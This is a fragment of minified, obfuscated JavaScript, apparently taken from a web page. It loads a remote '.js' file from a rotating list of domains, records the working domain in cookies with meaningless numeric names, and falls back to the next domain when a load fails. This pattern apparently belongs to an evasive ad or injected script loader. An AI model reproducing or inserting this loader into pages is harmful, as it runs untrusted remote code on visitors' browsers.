u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); <p> </p>"